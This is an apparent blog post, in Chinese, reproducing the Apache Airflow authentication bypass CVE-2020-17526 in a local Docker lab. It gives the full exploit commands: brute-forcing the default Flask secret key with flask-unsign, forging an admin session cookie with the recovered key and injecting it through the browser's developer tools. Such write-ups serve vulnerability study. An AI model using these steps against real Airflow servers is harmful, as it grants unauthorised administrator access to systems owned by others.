当前位置: 首页 > news >正文

CVE-2020-17526 Apache Airflow 身份验证绕过漏洞 (复现)

开启容器前执行docker compose run airflow-init初始化Apache Airflow 数据库
再执行docker compose up -d开启容器
访问ip:8080端口登录界面
image

此漏洞复现需要安装以下依赖
pip install flask-unsign
pip install flask-unsign[wordlist]

通过curl命令访问登录页面,获取服务器返回的签名后的 Session Cookie:
curl -v http://localhost:8080/admin/airflow/login
image

使用flask-unsign工具爆破签名使用的默认密钥
flask-unsign -u -c [第一步获取的Session值]
image
爆破出密钥为temporary_key

使用爆破出的密钥temporary_key,生成包含伪造user_id=1(管理员用户 ID)的 Session
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"

在浏览器中,将 Cookie 中的 Session 值替换为上一步生成的伪造 Session,刷新页面后即可绕过登录验证,直接以管理员身份登录系统
右键检查网页,打开开发者工具
在开发者工具顶部导航栏中,选择「Application」(应用程序,部分浏览器可能叫「Storage」)
在右侧的 Cookie 列表中,找到名为 session 的条目(如果没有,可能名为 session_id 等,根据实际情况确认)
双击 session 条目的「值(Value)」列,删除原有的值,粘贴上一步生成的伪造 Session 字符串(例如类似 eyJ1c2VyX2lk... 的长字符串)
按回车键自动修改(自动保存)
2643d637c54cb441c792aec99eb03ff
刷新页面完成权限绕过(以管理员身份登陆后台)

复现时遇到的问题:
伪造 Session 时遗漏了 CSRF token 字段,系统校验失败
解决办法:
解码原始 Session,提取csrf_token,执行
flask-unsign -d -c [原始Session值]
原始Session值就是一开始的curl命令得出的值
构造包含csrf_token的伪造 Session,执行
flask-unsign -s --secret temporary_key -c "{'user_id': '1', 'csrf_token': 'xxx', '_fresh': False, '_permanent': True}"
xxx为csrf_token的值

http://www.njgz.com.cn/news/681.html

相关文章:

  • Pwn2Own柏林2025次日战报:单日狂揽43.5万美元奖金,20个零日漏洞曝光
  • Day27
  • 猫树
  • 大道至简读后感
  • 一些感覺比較好的題目
  • 7.17XYD模拟赛
  • 如何把整套网站的源代码弄下来.250408
  • 牛客 周赛101 20250726
  • 人生的意义,就是没有意义.250421
  • 牛客2025多校 R3
  • 数论基础H
  • 推理大模型 vs 普通大模型:核心差异与国产代表产品
  • 【动态规划】树上连通块计数
  • Windows自带神器Robocopy一键备份文件文件夹,断点续传+多线程效率翻倍!.250429
  • 7月27日
  • 第八周作业
  • ASP.NET Core MVC 文件上传、文件扩展验证注解实现、文件扩展验证
  • 政治学和行政学属于法学
  • 基于RK3399嵌入式Linux驱动开发课程
  • Java日志框架
  • ASP.NET Core MVC 使用 EF Core 实现字段自动填充(如:添加时间 CreatedTime、更新时间 UpdatedTime)
  • 山西大同旅游攻略
  • 7月27日总结
  • 线性回归算法
  • 什么?智能体生成智能体?自我进化? - 戴维
  • 使用 Claude Code 的自定义 Sub Agent 完善博文写作体验
  • MCP 如何将你的 AI 从聊天机器人转变为工作流自动化利器
  • uart回环验证
  • POLIR-Laws-民法典:委托合同、行纪合同 和 中介合同 等的区别
  • MongoDB 安全数据替换脚本 (执行顺序:备份→校验→确认→清空→还原指定数据→失败回滚到备份)